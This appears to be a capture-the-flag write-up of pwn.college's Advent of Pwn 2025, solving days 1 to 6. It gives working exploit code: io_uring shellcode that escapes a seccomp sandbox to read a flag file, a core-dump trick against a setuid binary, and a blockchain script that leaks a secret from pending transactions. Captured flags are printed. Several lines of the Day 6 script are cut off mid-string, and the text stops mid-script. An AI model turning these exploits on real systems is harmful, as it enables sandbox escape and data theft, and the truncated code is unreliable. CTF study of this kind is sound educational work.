CTF Writeup: pwn.college - Advent of Pwn 2025 πŸŽ…
Hubert Feyrer, December 2025


pwn.college is an educational cybersecurity platform by Arizona State University. Their Advent of Pwn 2025 released one challenge per day during December. This writeup documents my solutions for the 2025 edition's 12 challenges, covering binary exploitation, web security, blockchain, VM escapes, and even MS-DOS networking. Analysis, exploit development and this writeup were assisted by AI (Anthropic Claude.ai Max, Google Gemini, Perplexity).

πŸ“‹ Table of Contents

Day 1 - Binary Constraint Solving

Analysis

Binary performs arithmetic transformations (add, sub, cmp) on 1024 input bytes and compares against hardcoded target values. Find the correct input to get the flag.

Approach

Three different solving methods were explored, each with distinct trade-offs:

ToolApproachProsCons
PerlFirst idea, text processing of objdump output, reverse operationsSimple, no dependenciesOnly works for trivial cases
angrSecond idea and first working solution (after 2 hours of runtime): Automatic symbolic execution with instruction tracingFully automaticSlower, memory-heavy
Z3Third solution added after day 12: Model operations symbolically without instruction analysisFast (~10s), preciseManual constraint setup
πŸ“„ Perl Solution (parse.pl)
#!perl

undef %n;
undef %target;

open(D, "check-list.objdump-D") or die;
while(){
    chomp();
    print ">>> $_\n";
    if (($opcode, $val, $var) = m@.*(add|sub|cmp)b\s+\$([^,]*),([^,]*)\(.rbp\).*@){
	print("opcode: $opcode; val=$val; var=$var\n");

	if ($opcode eq "add") {
	    eval("\$var2 = $var;");
	    eval("\$val2 = $val;");

	    $oval=$n{$var};

	    $n{$var} += $val2;
	    $n{$var} -= 256 if $n{$var} > 255;

	    $nval=$n{$var};

	    print("$opcode: var=$var, val=$val / val2=$val2: $oval -> $nval\n");

	} elsif ($opcode eq "sub") {
	    eval("\$var2 = $var;");
	    eval("\$val2 = $val;");

	    $oval=$n{$var};

	    $n{$var} -= $val2;
	    $n{$var} += 256 if $n{$var} < 0;

	    $nval=$n{$var};

	    print("$opcode: var=$var, val=$val / val2=$val2: $oval -> $nval\n");

	} elsif ($opcode eq "cmp") {
	    eval("\$var2 = $var;"); $var2 *= -1;
	    eval("\$val2 = $val;");

	    $n = $n{$var};

	    # target + n = val -> target = val - n
	    $target = $val2 - $n;
	    $target += 256 if $target < 0;
	    $target -= 256 if $target > 255;
	    $c = chr($target);
	    $targetx = sprintf("%x", $target);

	    print("cmp: val=$val, var=$var / var2=$var2, n=$n -> target=$target = 0x${targetx} = '$c'\n");

	    $target{$var2} = $c;

	} else {
	    die "Unknown opcode: $opcode - $_\n";
	}

	print "\n";
    }
}

open(RESULT, ">parse-result") or die;
for($var=0; $var<=0x400; $var++) {
    $c = $target{$var};

    print "result: var=$var -> c=$c\n";
    print RESULT "$c";
}
close(RESULT);
πŸ“„ angr Solution (angr_solve.py)
import angr
import claripy

# Load binary
p = angr.Project('./check-list', auto_load_libs=False)

# Create symbolic input buffer (1024 bytes)
flag = claripy.BVS('flag', 8 * 0x400)

# Create state at address after syscall (where manipulation starts)
state = p.factory.blank_state(addr=0x401022)

# Set up stack pointer and base pointer
state.regs.rbp = 0x7ffffffffff000
state.regs.rsp = 0x7fffffffefb00

# Place symbolic buffer at -0x400(%rbp)
buffer_addr = state.regs.rbp - 0x400
state.memory.store(buffer_addr, flag)

# Create simulation manager
simgr = p.factory.simulation_manager(state)

# Run until we reach success address, avoid fail address
simgr.explore(find=0xaa46d4, avoid=0xaa476a)

# Check if we found a solution
if simgr.found:
    solution_state = simgr.found[0]
    solution = solution_state.solver.eval(flag, cast_to=bytes)
    print("Solution found:")
    print(solution)

    # Write to file
    with open('angr-v2-solution.bin', 'wb') as f:
        f.write(solution)
else:
    print("No solution found")
πŸ“„ Z3 Solution (z3solver.py)
#!/usr/bin/env python3
"""
Z3 solver for check-list binary using objdump output
"""
from z3 import *
import re
import subprocess

def parse_objdump(filename):
    """Parse operations and targets from objdump output"""
    operations = []
    targets = {}

    # Like Perl: open(D, "gzip -cd file |")
    proc = subprocess.Popen(['gzip', '-cd', filename], stdout=subprocess.PIPE, text=True)

    for line in proc.stdout:
        # Match: addb/subb $0xVAL,-0xOFF(%rbp)
        m = re.search(r'(add|sub|cmp)b\s+\$0x([0-9a-f]+),(-?0x[0-9a-f]+)\(%rbp\)', line)
        if not m:
            continue

        opcode = m.group(1)
        val = int(m.group(2), 16)
        offset = int(m.group(3), 16)
        if offset > 0x7fffffff:  # Handle negative as signed 32-bit
            offset -= 0x100000000

        idx = offset + 0x400  # Convert to buffer index 0-1023
        if not (0 <= idx < 1024):
            continue

        if opcode == 'add':
            operations.append(('add', idx, val))
        elif opcode == 'sub':
            operations.append(('sub', idx, val))
        elif opcode == 'cmp':
            targets[idx] = val

    proc.wait()
    return operations, targets

def solve_z3(operations, targets):
    """Solve using Z3"""
    print(f"Building Z3 model: {len(operations)} ops, {len(targets)} targets")

    # Symbolic input bytes
    input_bytes = [BitVec(f'in_{i}', 8) for i in range(1024)]
    state = list(input_bytes)

    # Apply operations forward
    for op, idx, val in operations:
        if op == 'add':
            state[idx] = state[idx] + val
        else:
            state[idx] = state[idx] - val

    # Constraints: final state == targets
    solver = Solver()
    for idx, target in targets.items():
        solver.add(state[idx] == target)

    print("Solving...")
    if solver.check() == sat:
        model = solver.model()
        solution = bytearray(1024)
        for i in range(1024):
            solution[i] = model.eval(input_bytes[i]).as_long()
        return bytes(solution)

    print("No solution!")
    return None

if __name__ == '__main__':
    print("Parsing check-list.objdump-D.gz...")
    operations, targets = parse_objdump('check-list.objdump-D.gz')
    print(f"Found {len(operations)} operations, {len(targets)} targets")

    solution = solve_z3(operations, targets)
    if solution:
        with open('z3solver-result', 'wb') as f:
            f.write(solution)
        print(f"Solution saved to z3solver-result")
        print(f"First 32 bytes: {solution[:32].hex()}")

Run It

$ python3 z3solver.py
Parsing check-list.objdump-D.gz...
Found 1048576 operations, 1024 targets
Building Z3 model and solving...
Solution saved to z3solver-result
First 32 bytes: 399381f3338e7bd3d10d2c5b81275570...

$ /challenge/check-list <z3solver-result
✨ Correct: you checked it twice, and it shows!
pwn.college{AcAZS_25zbh-fjyYOVR93R1ydiZ.QX4UDOxIDL2ATOykzW}

Summary

Z3 was fastest (~10s for 1M ops), angr most automatic but slower, Perl only viable for simple reversible arithmetic.

Day 2 - Core Dump Sniffing

Analysis

The claus binary is setuid, reads /flag into memory, then slowly overwrites it with '#' characters (with sleep(1) between each). The core dump is only readable by root.

Key Insight

Two critical steps: (1) Crash the process before flag is overwritten. (2) Core dump is root-readable only - use pwn.college's "practice mode"!

Solution

Step 1: Create core dump (as hacker user)

hacker@dojo:~$ ulimit -c unlimited
hacker@dojo:~$ /challenge/claus
^\                     # Send SIGQUIT (Ctrl+\) immediately!
Quit (core dumped)

Step 2: Switch to Practice Mode and read core

# In pwn.college UI: Click "Practice" button (allows sudo)
hacker@dojo:~$ sudo strings core | grep pwn.college
pwn.college{4Gzm5TpgevpvLDXaoAgMnketX0m.QX4cDOxIDL2ATOykzW}

Summary

Race against time (SIGQUIT before overwrite) + privilege trick via practice mode = flag in core dump.

Day 3 - File Handle Persistence

Analysis

A file /stocking appears temporarily containing the flag, then gets deleted.

Key Insight

This isn't a traditional race condition - the key is to open a file handle before the file is deleted. Unix file handles remain valid even after unlink()!

Solution

$ tail -F /stocking &   # Open handle, keep following
[1] 1234
$ renice -n 1 -p $$      # Be nice, also for children
1314 (process ID) old priority 0, new priority 1
$ sleep 10               # Wait for flag to appear
pwn.college{0SHZlkB_mMZ6BJ8n6RNX6fI95E7.QX0gDOxIDL2ATOykzW}

Summary

File descriptor persistence: once you have a handle, the inode stays accessible even after deletion.

Day 4 - eBPF & linkat(2)

Analysis

An eBPF program (tracker.bpf.o) monitors linkat(2) syscalls and tracks a state machine expecting specific filenames in order.

Key Insight

Reverse engineering the eBPF bytecode reveals it expects hard links from "sleigh" to Santa's eight reindeer, in the correct order from "A Visit from St. Nicholas".

Solution

#!/bin/sh
touch sleigh

for name in dasher dancer prancer vixen comet cupid donner blitzen
do
    ln sleigh $name
done

Run It

$ chmod +x solve.sh && ./solve.sh
πŸŽ„ Ho Ho Ho! You've harnessed the reindeer! πŸŽ„ pwn.college{gGHza3gfykO9vb9utmFJFx4jeD7.QXykDOxIDL2ATOykzW}

Summary

eBPF state machine expects linkat() calls in specific sequence. Hard links (not symlinks!) trigger the hook.

Day 5 - io_uring Seccomp Bypass

Analysis

The sleigh binary reads shellcode into a 4KB RWX region at 0x1225000, then activates a strict seccomp sandbox allowing only: io_uring_setup, io_uring_enter, io_uring_register, exit_group. No read/write/open/mmap allowed!

Key Insight

io_uring can perform file I/O (OPENAT, READ, WRITE) without those syscalls - the kernel does the work. But io_uring normally requires mmap() for ring buffers. Solution: IORING_SETUP_NO_MMAP (kernel 6.1+) lets us provide our own memory!

Memory Layout

0x1225000 (loader's 4KB)

0x000: NOP sled (handles random offset 1-100)
0x100: Shellcode start
0x500: Read buffer for flag content
0x900: Filename string "flag\0"
0xA00: io_uring_params struct
0x000: SQEs (reuse page start)

Stack page (~0x7fff...000)

SQ/CQ Ring structures:
- sq_head, sq_tail
- cq_head, cq_tail
- ring_mask, ring_entries
- CQEs array
(MUST be page-aligned!)

Development Process

  1. C prototype: First get io_uring working in C with NO_MMAP flag
  2. Assembly translation: Convert to raw syscalls
  3. Critical trick: Use stack as second page-aligned buffer: sub rsp, 0x2000 + touch via RSP
πŸ“„ Complete C Solution (10no_mmap-1page+stack.c)
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define NORTH_POLE_ADDR ((void*)0x1225000)
#define QUEUE_DEPTH 1
#define BLOCK_SZ    512

#define io_uring_smp_store_release(p, v) \
    atomic_store_explicit((_Atomic typeof(*(p)) *)(p), (v), memory_order_release)
#define io_uring_smp_load_acquire(p) \
    atomic_load_explicit((_Atomic typeof(*(p)) *)(p), memory_order_acquire)

int main() {
    /* === SIMULATING SLEIGH LOADER === */
    void *block = mmap(NORTH_POLE_ADDR, 0x1000,
                       PROT_READ | PROT_WRITE | PROT_EXEC,
                       MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    if (block != NORTH_POLE_ADDR) {
        perror("mmap");
        return 1;
    }
    memset(block, 0, 0x1000);
    /* === END LOADER SIMULATION === */

    /* Get stack page for rings */
    void *stack_page;
    __asm__ volatile ("mov %%rsp, %0" : "=r"(stack_page));
    stack_page = (void*)((unsigned long)stack_page & ~0xFFFUL);
    stack_page -= 4096;  /* Use page below current stack */
    memset(stack_page, 0, 4096);

    /* Layout:
     * 0x1225000: SQEs (64 bytes) - page-aligned
     * 0x1225500: buffer (512 bytes)
     * 0x1225900: filename
     * stack_page: rings
     */
    void *sqes_ptr = block;
    char *buff = block + 0x500;
    char *filename = block + 0x900;
    void *rings_ptr = stack_page;

    strcpy(filename, "flag");  /* Use "/flag" for real challenge */

    struct io_uring_params p;
    memset(&p, 0, sizeof(p));
    p.flags = IORING_SETUP_NO_MMAP | IORING_SETUP_NO_SQARRAY;
    p.cq_off.user_addr = (unsigned long long)rings_ptr;
    p.sq_off.user_addr = (unsigned long long)sqes_ptr;

    int ring_fd = syscall(__NR_io_uring_setup, QUEUE_DEPTH, &p);
    if (ring_fd < 0) {
        perror("io_uring_setup");
        return 1;
    }

    /* Ring pointers */
    unsigned *sring_tail = rings_ptr + p.sq_off.tail;
    unsigned *sring_mask = rings_ptr + p.sq_off.ring_mask;
    unsigned *cring_head = rings_ptr + p.cq_off.head;
    unsigned *cring_mask = rings_ptr + p.cq_off.ring_mask;
    struct io_uring_cqe *cqes = rings_ptr + p.cq_off.cqes;
    struct io_uring_sqe *sqes = sqes_ptr;

    /* OPENAT */
    unsigned tail = *sring_tail;
    struct io_uring_sqe *sqe = &sqes[tail & *sring_mask];
    memset(sqe, 0, sizeof(*sqe));
    sqe->opcode = IORING_OP_OPENAT;
    sqe->fd = AT_FDCWD;
    sqe->addr = (unsigned long)filename;
    sqe->open_flags = O_RDONLY;
    io_uring_smp_store_release(sring_tail, tail + 1);

    syscall(__NR_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0);

    unsigned head = io_uring_smp_load_acquire(cring_head);
    struct io_uring_cqe *cqe = &cqes[head & *cring_mask];
    int flag_fd = cqe->res;
    if (flag_fd < 0) {
        write(2, "OPENAT failed\n", 14);
        return 1;
    }
    io_uring_smp_store_release(cring_head, head + 1);

    /* READ + WRITE loop */
    off_t offset = 0;
    while (1) {
        tail = *sring_tail;
        sqe = &sqes[tail & *sring_mask];
        memset(sqe, 0, sizeof(*sqe));
        sqe->opcode = IORING_OP_READ;
        sqe->fd = flag_fd;
        sqe->addr = (unsigned long)buff;
        sqe->len = BLOCK_SZ;
        sqe->off = offset;
        io_uring_smp_store_release(sring_tail, tail + 1);

        syscall(__NR_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0);

        head = io_uring_smp_load_acquire(cring_head);
        cqe = &cqes[head & *cring_mask];
        int res = cqe->res;
        io_uring_smp_store_release(cring_head, head + 1);
        if (res <= 0) break;

        tail = *sring_tail;
        sqe = &sqes[tail & *sring_mask];
        memset(sqe, 0, sizeof(*sqe));
        sqe->opcode = IORING_OP_WRITE;
        sqe->fd = STDOUT_FILENO;
        sqe->addr = (unsigned long)buff;
        sqe->len = res;
        sqe->off = -1;
        io_uring_smp_store_release(sring_tail, tail + 1);

        syscall(__NR_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0);

        head = io_uring_smp_load_acquire(cring_head);
        io_uring_smp_store_release(cring_head, head + 1);
        offset += res;
    }

    return 0;
}

Run C version:

$ ln -sf /etc/hostname flag
$ cat flag
2025~day-05
$ gcc 10no_mmap-1page+stack.c -o 10no_mmap-1page+stack
$ ./10no_mmap-1page+stack
2025~day-05
πŸ“„ Complete pwntools Solution (11shellcode.py)
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.os = 'linux'

# Constants
SYS_io_uring_setup = 425
SYS_io_uring_enter = 426
SYS_exit_group = 231

IORING_SETUP_NO_MMAP = 0x4000
IORING_SETUP_NO_SQARRAY = 0x10000
IORING_ENTER_GETEVENTS = 1

IORING_OP_OPENAT = 18
IORING_OP_READ = 22
IORING_OP_WRITE = 23

O_RDONLY = 0
AT_FDCWD = -100

# Memory layout at 0x1225000:
OFF_SQES   = 0x000
OFF_BUFFER = 0x500
OFF_FNAME  = 0x900
OFF_PARAMS = 0xA00

# io_uring_params offsets
PARAMS_FLAGS = 8
PARAMS_SQ_USER_ADDR = 72
PARAMS_CQ_USER_ADDR = 112

# Ring offsets (constant from strace)
RING_SQ_TAIL = 4
RING_CQ_HEAD = 8
RING_CQ_MASK = 20
RING_CQES = 64

# SQE offsets
SQE_OPCODE = 0
SQE_FD = 4
SQE_OFF = 8
SQE_ADDR = 16
SQE_LEN = 24
SQE_OPEN_FLAGS = 28

shellcode = asm(f'''
    /* r12 = base address (page-aligned from RIP) */
    lea r12, [rip]
    and r12, ~0xFFF

    /* r13 = stack page for rings */
    /* Must touch via rsp to trigger stack growth! */
    sub rsp, 0x2000
    mov qword ptr [rsp], 0              /* Touch via rsp - triggers kernel stack growth */
    mov r13, rsp
    and r13, ~0xFFF

    /* Clear params area */
    lea rdi, [r12 + {OFF_PARAMS}]
    xor eax, eax
    mov ecx, 30
    rep stosq

    /* Clear stack page */
    mov rdi, r13
    xor eax, eax
    mov ecx, 512
    rep stosq

    /* Setup io_uring_params */
    lea rdi, [r12 + {OFF_PARAMS}]
    mov dword ptr [rdi + {PARAMS_FLAGS}], {IORING_SETUP_NO_MMAP | IORING_SETUP_NO_SQARRAY}
    lea rax, [r12 + {OFF_SQES}]
    mov qword ptr [rdi + {PARAMS_SQ_USER_ADDR}], rax
    mov qword ptr [rdi + {PARAMS_CQ_USER_ADDR}], r13

    /* io_uring_setup(1, params) */
    mov eax, {SYS_io_uring_setup}
    mov edi, 1
    lea rsi, [r12 + {OFF_PARAMS}]
    syscall
    mov r14d, eax                       /* r14 = ring_fd */

    /* Write filename "flag" + null terminator */
    lea rdi, [r12 + {OFF_FNAME}]
    mov eax, 0x67616c66                 /* "flag" little-endian */
    stosd
    xor eax, eax
    stosd                               /* null terminator */

    /* === OPENAT === */
    lea rdi, [r12 + {OFF_SQES}]
    xor eax, eax
    mov ecx, 8
    rep stosq

    lea rdi, [r12 + {OFF_SQES}]
    mov byte ptr [rdi + {SQE_OPCODE}], {IORING_OP_OPENAT}
    mov dword ptr [rdi + {SQE_FD}], {AT_FDCWD & 0xFFFFFFFF}
    lea rax, [r12 + {OFF_FNAME}]
    mov qword ptr [rdi + {SQE_ADDR}], rax
    mov dword ptr [rdi + {SQE_OPEN_FLAGS}], {O_RDONLY}

    mov dword ptr [r13 + {RING_SQ_TAIL}], 1

    mov eax, {SYS_io_uring_enter}
    mov edi, r14d
    mov esi, 1
    mov edx, 1
    mov r10d, {IORING_ENTER_GETEVENTS}
    xor r8, r8
    xor r9, r9
    syscall

    /* Get flag_fd from CQE[0].res (res is at offset 8 within CQE) */
    mov r15d, [r13 + {RING_CQES} + 8]   /* cqe->res */
    mov dword ptr [r13 + {RING_CQ_HEAD}], 1

    /* === READ + WRITE LOOP === */
    xor ebx, ebx                        /* offset = 0 */

read_loop:
    /* READ SQE */
    lea rdi, [r12 + {OFF_SQES}]
    xor eax, eax
    mov ecx, 8
    rep stosq

    lea rdi, [r12 + {OFF_SQES}]
    mov byte ptr [rdi + {SQE_OPCODE}], {IORING_OP_READ}
    mov dword ptr [rdi + {SQE_FD}], r15d
    mov qword ptr [rdi + {SQE_OFF}], rbx
    lea rax, [r12 + {OFF_BUFFER}]
    mov qword ptr [rdi + {SQE_ADDR}], rax
    mov dword ptr [rdi + {SQE_LEN}], 512

    inc dword ptr [r13 + {RING_SQ_TAIL}]

    mov eax, {SYS_io_uring_enter}
    mov edi, r14d
    mov esi, 1
    mov edx, 1
    mov r10d, {IORING_ENTER_GETEVENTS}
    xor r8, r8
    xor r9, r9
    syscall

    /* Get bytes_read */
    mov eax, [r13 + {RING_CQ_HEAD}]
    and eax, 1                          /* & mask (mask=1 for cq_entries=2) */
    shl eax, 4                          /* * 16 (sizeof cqe) */
    add eax, {RING_CQES} + 8            /* + offset to cqes + offset to res */
    movsxd rbp, dword ptr [r13 + rax]
    inc dword ptr [r13 + {RING_CQ_HEAD}]

    test ebp, ebp
    jle done

    /* WRITE SQE */
    lea rdi, [r12 + {OFF_SQES}]
    xor eax, eax
    mov ecx, 8
    rep stosq

    lea rdi, [r12 + {OFF_SQES}]
    mov byte ptr [rdi + {SQE_OPCODE}], {IORING_OP_WRITE}
    mov dword ptr [rdi + {SQE_FD}], 1
    mov qword ptr [rdi + {SQE_OFF}], -1
    lea rax, [r12 + {OFF_BUFFER}]
    mov qword ptr [rdi + {SQE_ADDR}], rax
    mov dword ptr [rdi + {SQE_LEN}], ebp

    inc dword ptr [r13 + {RING_SQ_TAIL}]

    mov eax, {SYS_io_uring_enter}
    mov edi, r14d
    mov esi, 1
    mov edx, 1
    mov r10d, {IORING_ENTER_GETEVENTS}
    xor r8, r8
    xor r9, r9
    syscall

    inc dword ptr [r13 + {RING_CQ_HEAD}]
    add rbx, rbp
    jmp read_loop

done:
    mov eax, {SYS_exit_group}
    mov edi, 42                         /* Magic exit code */
    syscall
''')

print(f"[*] Shellcode size: {len(shellcode)} bytes")

# NOP sled + shellcode
nop_sled = b'\x90' * 0x100
payload = nop_sled + shellcode
payload = payload.ljust(0x1000, b'\x00')

print(f"[*] Total payload: {len(payload)} bytes")

# Write payload for manual testing with strace
with open('payload.bin', 'wb') as f:
    f.write(payload)
print("[*] Also written to payload.bin (test with: strace -f /challenge/sleigh < payload.bin)")

# Run
p = process('/challenge/sleigh')
p.recvuntil(b'front.\n')
p.send(payload)
p.recvuntil(b'twice!\n')

try:
    output = p.recvall(timeout=2)
    if output:
        print(f"[+] Flag: {output.decode()}")
    else:
        print("[-] No output")
except:
    print("[-] Timeout")

p.wait()
exit_code = p.poll()
print(f"[*] Exit code: {exit_code}")
if exit_code == 42:
    print("[+] Shellcode ran to completion!")
elif exit_code == -11:
    print("[-] SIGSEGV")
elif exit_code == -31:
    print("[-] SIGSYS (seccomp blocked syscall)")
else:
    print(f"[-] Unexpected exit")

p.close()

Run final version:

$ rm flag
$ ln -s /flag flag
$ python3 11shellcode.py
[*] Shellcode size: 459 bytes
[*] Total payload: 4096 bytes
[*] Also written to payload.bin (test with: strace -f /challenge/sleigh < payload.bin)
[+] ting local process '/challenge/sleigh': pid 284
[+] Receiving all data: Done (60B)
[*] Process '/challenge/sleigh' stopped with exit code 42 (pid 284)
[+] Flag: pwn.college{0SWKQLFiC6lhUf3T8Ljsm_F2Tk-.QX4ATOxIDL2ATOykzW}

[*] Exit code: 42
[+] Shellcode ran to completion!
$ strace /challenge/sleigh <payload.bin |& tail -5
io_uring_setup(1, {flags=IORING_SETUP_NO_MMAP|IORING_SETUP_NO_SQARRAY, sq_thread_cpu=0, sq_thread_idle=0, sq_entries=1, cq_entries=2, features=IORING_FEAT_SINGLE_MMAP|IORING_FEAT_NODROP|IORING_FEAT_SUBMIT_STABLE|IORING_FEAT_RW_CUR_POS|IORING_FEAT_CUR_PERSONALITY|IORING_FEAT_FAST_POLL|IORING_FEAT_POLL_32BITS|IORING_FEAT_SQPOLL_NONFIXED|IORING_FEAT_EXT_ARG|IORING_FEAT_NATIVE_WORKERS|IORING_FEAT_RSRC_TAGS|IORING_FEAT_CQE_SKIP|IORING_FEAT_LINKED_FILE|IORING_FEAT_REG_REG_RING|IORING_FEAT_RECVSEND_BUNDLE|IORING_FEAT_MIN_TIMEOUT, sq_off={head=0, tail=4, ring_mask=16, ring_entries=24, flags=36, dropped=32, array=0, user_addr=0x1225000}, cq_off={head=8, tail=12, ring_mask=20, ring_entries=28, overflow=44, cqes=64, flags=40, user_addr=0x7ffed82b6000}}) = 3
io_uring_enter(3, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) = 1
io_uring_enter(3, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) = 1
exit_group(42) = ?
+++ exited with 42 +++
$ /challenge/sleigh <payload.bin
πŸ›· Loading cargo: please stow your sled at the front.
πŸ“œ Checking Santa's naughty list... twice!
pwn.college{0SWKQLFiC6lhUf3T8Ljsm_F2Tk-.QX4ATOxIDL2ATOykzW}
$

Summary

IORING_SETUP_NO_MMAP + stack as second page-aligned buffer = seccomp bypass via io_uring I/O operations.

Day 6 - Blockchain Exploitation

Analysis

NiceCoinβ„’ - a proof-of-work blockchain. Each identity starts with 1 balance, gets +1 per "nice" block nomination (max 10). We need to leak Santa's 32-character secret and send it back to get the flag.

Key Insight

Gifts appear in the txpool (pending transactions) before being mined! We can read them without spending balance. The trick: mine aggressively but exclude our own gift transactions to avoid paying for them.

πŸ“„ Complete Exploit Script (3balance.py)
#!/usr/bin/env python3
"""
pwn.college advent-of-pwn CTF day 6
1. Mine blocks to get Nice balance for 'hacker'
2. Leak SECRET_GIFT character by character via 'secret index #N'
3. Send letter with full SECRET_GIFT to get FLAG
"""
import hashlib
import json
import os
import re
import sys
import time
import uuid
import requests
from pathlib import Path
from cryptography.hazmat.primitives import serialization

TARGET = os.environ.get("NORTH_POOLE", "http://localhost")
DIFFICULTY = 16
DIFFICULTY_PREFIX = "0" * (DIFFICULTY // 4)
LETTER_HEADER = "Dear Santa,\n\nFor christmas this year I would like "
SECRET_FILE = Path("./secret_progress.txt")

def get_boot_time():
    """Get system boot time as timestamp."""
    with open("/proc/uptime") as f:
        uptime_seconds = float(f.read().split()[0])
    return time.time() - uptime_seconds

def load_secret_progress(chain_index=None):
    """Load previously leaked secret chars from file."""
    if SECRET_FILE.exists():
        file_mtime = SECRET_FILE.stat().st_mtime
        boot_time = get_boot_time()

        # Check 1: File older than system boot
        if file_mtime < boot_time:
            print(f"  [!] Secret file is from before reboot, resetting...")
            SECRET_FILE.unlink()
            return ""

        # Check 2: Chain was reset (low block index = fresh chain)
        # If chain has few blocks but we have cached progress, cache is stale
        if chain_index is not None and chain_index < 50:
            saved = SECRET_FILE.read_text().strip()
            if len(saved) > 0:
                print(f"  [!] Chain was reset (index={chain_index}), cached sec)
                SECRET_FILE.unlink()
                return ""

        return SECRET_FILE.read_text().strip()
    return ""

def save_secret_progress(secret):
    """Save current secret progress to file."""
    SECRET_FILE.write_text(secret)

def build_secret(known, gifts_found, start_index):
    """Build secret string from known prefix and found gifts."""
    result = known
    for i in range(start_index, 32):
        if i in gifts_found:
            result += gifts_found[i]
        else:
            break  # Stop at first gap
    return result

# Load hacker's key from /challenge/keys/hacker/key
KEY_PATH = Path("/challenge/keys/hacker/key")
if not KEY_PATH.exists():
    print(f"[!] Key not found at {KEY_PATH}")
    sys.exit(1)
hacker_key = serialization.load_ssh_private_key(KEY_PATH.read_bytes(), password)

def hash_block(block: dict) -> str:
    return hashlib.sha256(json.dumps(block, sort_keys=True, separators=(",", ":)

def sign_tx(tx, key):
    tx_type = tx["type"]
    payload = {
        "src": tx["src"],
        "dst": tx["dst"],
        "type": tx["type"],
        tx_type: tx[tx_type],
        "nonce": tx["nonce"],
    }
    msg = json.dumps(payload, sort_keys=True, separators=(",", ":"))
    digest = hashlib.sha256(msg.encode()).digest()
    return key.sign(digest).hex()

def get_head():
    r = requests.get(f"{TARGET}/block")
    r.raise_for_status()
    return r.json()

def get_txpool(block_hash=None):
    params = {"hash": block_hash} if block_hash else {}
    r = requests.get(f"{TARGET}/txpool", params=params)
    r.raise_for_status()
    return r.json()

def get_balances(block_hash=None):
    params = {"hash": block_hash} if block_hash else {}
    r = requests.get(f"{TARGET}/balances", params=params)
    r.raise_for_status()
    return r.json()

def mine_block(prev_hash, index, txs, nice, verbose=False):
    """Mine a block with given parameters."""
    block = {
        "index": index,
        "prev_hash": prev_hash,
        "nonce": 0,
        "txs": txs,
        "nice": nice,
    }
    nonce = 0
    while True:
        block["nonce"] = nonce
        block_hash = hash_block(block)
        if block_hash.startswith(DIFFICULTY_PREFIX):
            if verbose:
                print(f"  Mined block {index} (hash={block_hash[:12]}...)")
            return block, block_hash
        nonce += 1

def submit_block(block):
    r = requests.post(f"{TARGET}/block", json=block)
    return r.status_code == 200, r.text

def submit_tx(tx):
    r = requests.post(f"{TARGET}/tx", json=tx)
    return r.status_code == 200, r.text

def send_letter(src, letter_text, key):
    """Send a signed letter transaction."""
    tx = {
        "src": src,
        "dst": "santa",
        "type": "letter",
        "letter": LETTER_HEADER + letter_text,
        "nonce": str(uuid.uuid4()),
    }
    tx["sig"] = sign_tx(tx, key)
    return submit_tx(tx), tx["nonce"]

def get_chain():
    """Get the full chain."""
    head = get_head()
    chain = [head["block"]]
    current_hash = head["block"]["prev_hash"]
    while True:
        r = requests.get(f"{TARGET}/block", params={"hash": current_hash})
        if r.status_code != 200:
            break
        block = r.json()["block"]
        chain.append(block)
        current_hash = block["prev_hash"]
    return list(reversed(chain))

def find_gift_for_nonce(nonce):
    """Search chain for a gift transaction with matching nonce."""
    chain = get_chain()
    for block in chain:
        for tx in block.get("txs", []):
            if tx.get("type") == "gift" and tx.get("nonce") == f"{nonce}-gift":
                return tx.get("gift")
    return None

def filter_txs(txs, exclude_nonces):
    """Filter out transactions with specific nonces (to avoid including gifts)."
    return [tx for tx in txs if tx.get("nonce") not in exclude_nonces]

def find_gift_in_txpool(letter_nonce):
    """Look for Santa's gift response in txpool (without mining it into chain)."
    txpool = get_txpool()
    gift_nonce = f"{letter_nonce}-gift"
    for tx in txpool.get("txs", []):
        if tx.get("type") == "gift" and tx.get("nonce") == gift_nonce:
            return tx.get("gift")
    return None

def main():
    print("[*] pwn.college advent-of-pwn CTF day 6")
    print(f"[*] Target: {TARGET}")

    # Check current state
    print("\n[1] Checking blockchain state...")
    head = get_head()
    balances = get_balances()
    print(f"  Head block index: {head['block']['index']}")
    print(f"  Hacker balance: {balances['balances'].get('hacker', 0)}")

    # Count how many times hacker was already nice
    chain = get_chain()
    hacker_nice_count = sum(1 for b in chain if b.get("nice") == "hacker")
    print(f"  Hacker nice count: {hacker_nice_count}/10")

    # Mine blocks to max out hacker's nice (up to 10)
    needed_nice = 10 - hacker_nice_count
    if needed_nice > 0:
        print(f"\n[2] Mining {needed_nice} blocks to max hacker's nice balance.)
        for i in range(needed_nice):
            head = get_head()
            txpool = get_txpool(head["hash"])
            block, _ = mine_block(head["hash"], head["block"]["index"] + 1,
                                  txpool["txs"], "hacker")
            success, msg = submit_block(block)
            if not success:
                print(f"  Block rejected: {msg}")
                if "abuse" in msg:
                    break

    balances = get_balances()
    hacker_balance = balances['balances'].get('hacker', 0)
    print(f"  Hacker balance now: {hacker_balance}")

    if hacker_balance < 1:
        print(f"\n[!] Balance is 0. Cannot proceed.")
        print(f"    Restart challenge and run immediately!")
        if SECRET_FILE.exists():
            SECRET_FILE.unlink()
        return

    # Load any cached progress
    known_secret = ""
    if SECRET_FILE.exists():
        saved = SECRET_FILE.read_text().strip()
        # Validate - check chain for hacker gifts
        chain = get_chain()
        hacker_gifts_in_chain = sum(1 for b in chain for tx in b.get("txs", [])
                                    if tx.get("type") == "gift" and tx.get("dst)
        if len(saved) > 0 and hacker_gifts_in_chain == 0:
            print(f"\n[!] Chain was reset, clearing stale cache...")
            SECRET_FILE.unlink()
        else:
            known_secret = saved

    # Scan chain for existing leaked chars
    print("\n[3] Scanning chain for existing secret chars...")
    chain_gifts = {}
    for block in chain:
        for tx in block.get("txs", []):
            if tx.get("type") == "gift" and tx.get("dst") == "hacker":
                gift_value = tx.get("gift", "")
                if len(gift_value) == 1:
                    gift_nonce = tx.get("nonce", "")
                    if gift_nonce.endswith("-gift"):
                        letter_nonce = gift_nonce[:-5]
                        for blk in chain:
                            for ltx in blk.get("txs", []):
                                if ltx.get("type") == "letter" and ltx.get("non:
